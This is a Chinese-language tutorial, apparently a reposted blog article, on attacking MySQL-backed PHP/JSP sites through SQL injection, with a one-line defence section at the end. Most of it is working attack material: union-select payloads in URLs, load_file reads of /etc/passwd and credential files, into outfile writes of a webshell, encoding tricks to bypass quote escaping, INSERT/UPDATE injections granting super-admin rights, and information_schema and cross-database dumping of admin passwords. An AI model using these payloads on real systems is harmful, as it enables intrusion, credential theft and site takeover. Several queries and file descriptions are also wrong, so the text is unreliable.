MySQL注射攻击与防范详解

PHP+MySQL JSP+MySQL
  一.基础知识
  1.MYSQL的版本
  4.0以下,4.0以上,5.0以上。
  4.0以下不支持union查询
  4.0以上magic_quotes_gpc默认为on
  5.0以上可以暴表暴列,支持跨库
  2.magic_quotes_gpc=on
  当php.ini里的 magic_quotes_gpc 为On 时。提交的变量中所有的 ' (单引号), " (双引号), \(反斜线) and 空字符会自动转为含有反斜线的转义字符。例如'会变成\'。给注入带来不少的阻碍。
  3.注释符
  Mysql有3种注释句法
  # 注射掉注释符后面的本行内容
  -- 注射效果同#
  /* ... */  注释掉符号中间的部分
  对于#号将是我们最常用的注释方法。
  -- 号记得后面还得有一个空格才能起注释作用。
  /*...*/  我们一般只用前面的/*就够了。
  注意:在浏览器地址栏输入#时应把它写成%23,这样经urlencode转换后才能成为#,从而起到注释的作用。
  注射中常用/**/代替空格。
  4.一些函数与MSSQL中的不同
  ascii()
  length()
  5.导出文件(into   outfile)
  使用  into   outfile 把代码写到web目录取得WEBSHELL
  首先需要 3大先天条件
  ①知道物理路径(into   outfile '物理路径') 这样才能写对目录
  ②能够使用union (也就是说需要MYSQL4以上的版本)
  ③对方没有对'进行过滤(因为outfile 后面的 '' 不可以用其他函数代替转换)
  后天条件就要2个
  ①就是MYSQL 用户拥有file_priv权限(不然就不能写文件 或者把文件内容读出)
  ②对web目录有写权限MS 的系统就不说了一般都会有权限的~但是*nix 的系统嘛!通常都是rwxr-xr-x 也就是说组跟其他用户都没有权限写操作
  6.读取文件(load_file   ())
  serv-U默认安装路径的servudaemon.ini。注意可以变化D盘,E盘……
  读取数据库配置文件
  IIS站点配置信息,c:\windows\system32\inetsrv\metabase.xml
  /usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
  /usr/local/apache2/conf/httpd.conf
  /usr/local/app/php5/lib/php.ini //PHP相关设置
  /usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
  /etc/my.cnf //mysql的配置文件
  /etc/redhat-release //系统版本
  C:\mysql\data\mysql\user.MYD //us存储了mysql.er表中的数据库连接密码
  /etc/sysconfig/iptables //从中得到防火墙规则策略
  7.绝对路径
  1.加特殊符号,访问不存在的链接
  2.读取服务器配置文件
  3.直接访问
  phpmyadmin/libraries/select_lang.lib.php
  phpmyadmin/darkblue_orange/layout.inc.php
  phpmyadmin/index.php?lang[]=1
  8.网站OS版本
  变换大小写。
  9.PHPMyadmin路径
  在测试uninx系统中phpmyadmin路径时候可以在 http://www.7747.net/后面尝试phpmyadmin的各种大小写组合。
  10.MySQL,外部连接,内部连接
  一般是3306.telnet 3306 。低版本外部允许连接。连接上之后即使magic_quotes_gpc=on也可以直接into   outfile
  二.实践过程
  1.
  4.0以下,
  基本和ACCESS中的猜解方法一样,注意函数accsii()和length()
  2.
  4.0以上
  0.1.
  magic_quotes_gpc=off
  0.0.1.
  and 1=1正常
  and 1=2错误
  存在注射点。
  判断数据库,在目前的所有数据库中只有mysql支持/*注释,所以我们可以这样判断:
  /*    返回正常说明是mysql数据库。
  and ord(mid(version(),1,1))>51/* 返回正常说明数据库版本是4.0以上
  order by 8显示正常页面。
  order by 9显示错误页面。
  现在可以确定有8个字段参与了查询。
  1=2 union   select 1,2,3,4,5,6,7,8爆出数字。
  and 1=2 union   select 1,user(),version(),database(),5,6,7,8/*可以爆出数据库用户名,数据库版本,数据库名。
  猜表名:
  and 1=2 union   select 1,2,3,4,5,6,7,8 from admin     返回正常说明存在admin表
  假设admin表中存在username,password字段。
  and 1=2 union   select 1,username,3,password,5,6,7,8 from admin
  当然这仅仅是返回的第一条数据,因为会默认返回第一条。
  加限制条件就可以得到其他的数据。假设猜到里面有id字段。
  那么 and 1=2 union   select 1,username,3,password,5,6,7,8 from admin where id=2
  0.0.2.
  load_file读取。
  and ord(mid(user(),1,1))=114/*     返回正确,说明是root权限
  and (select count(*) from MySQL.user)>0    判断时候具有文件的读写权限
  and 1=2 union
  select 1,2,3,4,5,load_file   ("/etc/passwd"),7,8/*用户信息顺利读取出来。
  loadfile可以读取数据库连接文件得到Mysql的账号和密码。如果允许外部连接直接连接,不允许要找到Phpmyadmin才能登陆
  0.0.3.
  into oufile
  select 一句话木马 into   outfile "d:\web\c.php"
  0.2.
  magic_quotes_gpc=On
  这就使字符型注入的方法化为泡影,这时候我们就只能注入数字型且没有
  Intval()处理的情况了,由于数字型没有用到单引号自然就没有绕过的问题了。
  用char()和16进制(前面加0x)
  admin   0x61646D696E char(97,100,109,105,110)
  union   select
  在magic_quotes_gpc=On的情况下功能强大的load_file   ()还能不能用呢?
  这正是我们下面要将的问题了,load_file   ()的使用格式是load_file   (‘文件路径')
  我们发现只要把‘文件路径'转化成char()就可以了。试试看哦
  load_file   (‘c:/boot.ini')转化成
  load_file   (char(99,58,47,98,111,111,116,46,105,110,105))
  load_file   (0x633A2F626F6F742E696E69)
  假设我们可以上传图片,或者txt,zip,等其它东西,我们把我们的木马改成
  jpg后缀的,上传后路径为/upload/2004091201.jpg
  2004091201.jpg中的内容为 一句话
  好,我们开始 http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,load_file   ('C:/apache/htdocs/site/upload/2004091201.jpg'),4,5,6,7,8,9,10,11%20into%20outfile'C:/apache/htdocs/site/shell.php'
  因为适用了outfile,所以网页显示不正常,但是我们的任务是完成了。
  load_file读写文件的技巧
  不知道你有没有发现过在我们用load_file   ()读写php文件时不能在网页中显示。例如:
  'C:/apache/htdocs/site/lib/sql.inc.php'转化为16进制为:0x433A2F6170616368652F6874646F63732F736974652F6C69622F73716C2E696E632E706870
  我们构造如下
   http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,load_file   (0x433A2F6170616368652F6874646F63732F736974652F6C69622F73716C2E696E632E706870),4,5,6,7,8,9,10,11
  发现在文章内容的地方本来该显示sql.inc.php的,可是却空空之,为何呢? 内容在源代码里面。
  substring() left() right() mid()
  into   outfile'' 不能绕过
  mysql 5.0以下的跨库查询
  变相的跨库查询,方法就是通过load_file来直接读出mysql中data文件夹下的文件内容,从而实现变态跨库查询。
  举个例子啦
  在这之前我们先讲一下mysql的data文件夹下的结构
  Data文件夹下有按数据库名生成的文件夹,文件夹下按照表名生成三个后缀为frm,myd,myi的三个文件,例如
  Mysql中有alpha数据库,在alpha库中有alphaauthor和alphadb两个表,
  Alpha文件夹下就有alphadb.frm,alphadb.myd,alphadb.myi,alphaauthor.frm,alphaauthor.myd,alphaauthor.myi
  其中alphadb.frm放着lphadb表中的数据,alphadb.myd放着表的结构,alphadb.myi中放的内容随mysql的版本不同会有所不同,具体可以自己用记事本打开来判断。
  实验开始
  假设我们知道有另外的一个数据库yminfo210存在,且存在表user,user中放着admin的信息。
  我们
   http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,load_file   ('yminfuo210/ser.myd'),4,5,6,7,8,9,10,11
  说明一下,load_file默认所在的目录是mysql下的data目录,所以我们用
  load_file   ('yminfo210/user.myd'),当然load_file   ('.info210/user.myd')也是一样的,注意的是into   outfile的默认路径是在所在的数据库文件夹下。
  我们看读出来的内容
  舼鮂F鮂F?   admin 698d51a19d8a121ce581499d7b701668 admin@yoursite.comadmin question admin answer  http://www.yoursite.com  (?靃?KA靃?靃?  www.7747.net  d|?鮂F?  aaa 3dbe00a167653a1aaee01d93e77e730e sdf@sd.com sdfasdfsdfa asdfadfasd   ?E麷AM麷A www.7747.net 222  222222223423
  虽然乱码一堆,但是我们还是可以看出用户名是admin,密码是698d51a19d8a121ce581499d7b701668,后面其它的是另外的信息。
  通过这种方法我们就实现了曲线跨库。
  3.其他一些注射语句(insert注射和update注射)
  INSERT
  如果大家认为MYSQL中注入仅仅适用于SELECT就大错特错了,其实还有两个危害更大的操作,那就是INSERT和UPDATE语句,这类例子不多,先面先说说INSERT,这主要应用于改写插入的数据,我们来看个简单而又广泛存在的例子,看看下面的数据结构:
  CREATE TABLE 'user' (
  'userid' INT NOT NULL AUTO_INCREMENT ,
  'username' VARCHAR( 20 ) NOT NULL ,
  'password' VARCHAR( 50 ) NOT NULL ,
  'homepage' VARCHAR( 255 ) NOT NULL ,
  'userlevel' INT DEFAULT '1' NOT NULL ,
  PRIMARY KEY ( 'userid' )
  );
  其中的userlevel代表用户的等级,1是普通用户,2是普通管理员,3是超级管理员,一个注册程序默认是注册成普通用户,如下:
  INSERT INTO 'user' (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1');
  默认userlevel字段是插入1,其中的变量都是没有经过过滤就直接写入数据库的,不知道大家有什么想法?对,就是直接注入,使我们一注册就是超级管理员。我们注册的时候,构造$homepage变量,就可以达到改写的目的,指定$homepage变量为:
   http://4ngel.net', '3’)#
  插入数据库的时候就变成:
  INSERT INTO 'user' (userid, username, password, homepage, userlevel) VALUES ('', 'angel', 'mypass', 'http://4ngel.net', '3’)#', '1');
  这样就注册成为超级管理员了。但这种利用方法也有一定的局限性,比如,我没有需要改写的变量如userlevel字段是数据库的第一个字段,前面没有地方给我们注入,我们也没有办法了。
  或许INSERT还有更广泛的应用,大家可以自行研究,但原理都是一样的。
  UPDATE
  和INSERT相比,UPDATE的应用更加广泛,如果过滤不够,足以改写任何数据,还是拿刚才的注册程序来说,数据结构也不变,我们看一下用户自己修改自己的资料,SQL语句一般都是这样写的:
  UPDATE user SET password='$password', homepage='$homepage' WHERE id='$id'
  用户可以修改自己的密码和主页,大家有什么想法?总不至于还是提升权限吧?程序中的SQL语句又没有更新userlevel字段,怎么提升啊?还是老办法,构造$homepage变量, 指定$homepage变量为:
   http://4ngel.net', userlevel='3
  整个SQL语句就变成这样:
  UPDATE user SET password='mypass', homepage='http://4ngel.net', userlevel='3' WHERE id='$id'
  我们是不是又变成超级管理员了?程序不更新userlevel字段,我们自己来。
  还有更加绝的,直接修改任意用户的资料,还是刚才的例句,但这次安全一点,使用MD5加密:
  UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'
  尽管密码被加密了,但我们还是可以构造我们需要的语句,我们指定$password为:
  mypass)' WHERE username='admin'#
  这时整个语句变为:
  UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'
  这样就更改了更新的条件,我管你后面的代码是不是在哭这说:我们还没有执行啊。当然,也可以从$id下手,指定$id为:
  ' OR username='admin'
  这时整个语句变为:
  UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'
  4.MySQL5.0以上的新特性
  系统表的结构
  SCHEMATA         ――>存储数据库名的,
  |——>关键字段:SCHEMA_NAME,表示数据库名称
  | TABLES              ――>存储表名的
  |——>关键字段:TABLE_SCHEMA表示表所属的数据库名称;
  TABLE_NAME表示表的名称
  | COLUMNS   ――>存储字段名的
  |——>关键字段:TABLE_SCHEMA表示表所属的数据库名称;
  TABLE_NAME表示所属的表的名称
  COLUMN_NAME表示字段名
  爆管理员账号密码找到后台登陆。
  前面爆管理员账号密码前有可能猜表都猜不到。这里教大家暴库,爆表,爆字段。
   http://www.7747.net/ad.php?id=1 and 1=2 union   select 1,2,3,4,schema_name,6,7,8 from information_schema.SCHEMATA limit 0,1/*
  这样会爆出一个数据库。前面我们轻而易举的可以得到一个当前连接的数据库。
  我们要爆出的数据库里要存放管理员的用户和密码。
  这里limit 0,1/*的意思是爆出第一个库的名字,如果要查看第二个数据库名就增加limit后面的值,比如把0增加为1就又爆出一个库名。逐次加1就分别暴出了网站的其他数据库名。
  已经知道网站数据库名是study,继续爆表。
   http://www.7747.net/ad.php?id=1 and 1=2 union   select 1,2,3,4,table_name,6,7,8 from information_schema.table where TABLE_SCHEMA=0x7374756479 limit 0,1/*
  这里0x7374756479就是study的16进制形式。成功爆出一个表名。我们在增加limit后面的数字来逐一爆出数据库中的其他表名。
  爆字段
   http://www.7747.net/ad.php?id=1 and 1=2 union   select 1,2,3,4,COLUMN_NAME,6,7,8 from information_schema.COLUMN_NAME where TABLE_NAME=0x61646D696E limit 0,1/*
  成功爆出admin表中的一个字段。0x61646D696E为admin的16进制。
  有时候我们用union联合查询前猜到的字段长度可能是1,这样对我们就有所限制了。我们可以借助concat函数来一次性爆出我们所希望得到的东西。具体用法是concat(我们想要爆的,0x3A,我们想要爆的,0x3A,我们想要爆的……)
   http://www.7747.net/ad.php?id=1 and 1=2 union   select concat(user(),0x3A,database(),0x3A,version())
  0x3A是;的16进制形式。
  PHP跨库查询。当前库realmd,要跨到BBS的库为discuz,默认中discuz数据库中存放用户信息的表是cdb_members ,两个字段为username,password
   http://www.7747.net/ad.php?id=1 and 1=1 union   select 1,2,3,4,5,6,7,8 from discuz.cdb_members返回正常,说明跨库查询成功。并且数据库和表都是存在的。
   http://www.7747.net/ad.php?id=1 and 1=2 union   select 1,username,3,password,5,6,7,8 from discuz.cdb.members where uid=1
  延伸——跨库后同样可以爆表爆字段。
   http://www.7747.net/ad.php?id=1 and 1=2 union   select 1,2,3,4,table_name,6,7,8 from information_schema.table where TABLE_SCHEMA=discuz limit 0,1/*
   http://www.7747.net/ad.php?id=1 and 1=2 union   select 1,2,3,4,COLUMN_NAME,6,7,8 from information_schema.COLUMN_NAME where TABLE_NAME=discuz.cdb_members limit 0,1/*
  schema_name  information_schema.SCHEMATA
  table_name  information_schema.table  TABLE_SCHEMA
  COLUMN_NAME  information_schema.COLUMN_NAME  TABLE_NAME
  三.攻击思路
  如果magic_quotes_gpc=off 尝试into   outfile直接得到一个shell
  判断数据库版本,可以尝试各个版本的溢出漏洞
  如果能load_file,可以load_file出数据库的账户密码
  连接或者是找到phpmyadmin后登陆
  登陆后创建一个表,导出一个shell或者into   outfile 一个shell
  也可以load_file serv-U的相关信息,利用FTP登陆
  猜测管理员账户密码找到后台登陆获得shell
  本库不行,可以跨库。
  四.漏洞防御
  变量的过滤
  开启magic_quotes_gpc并且int型变量做一个判断。
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值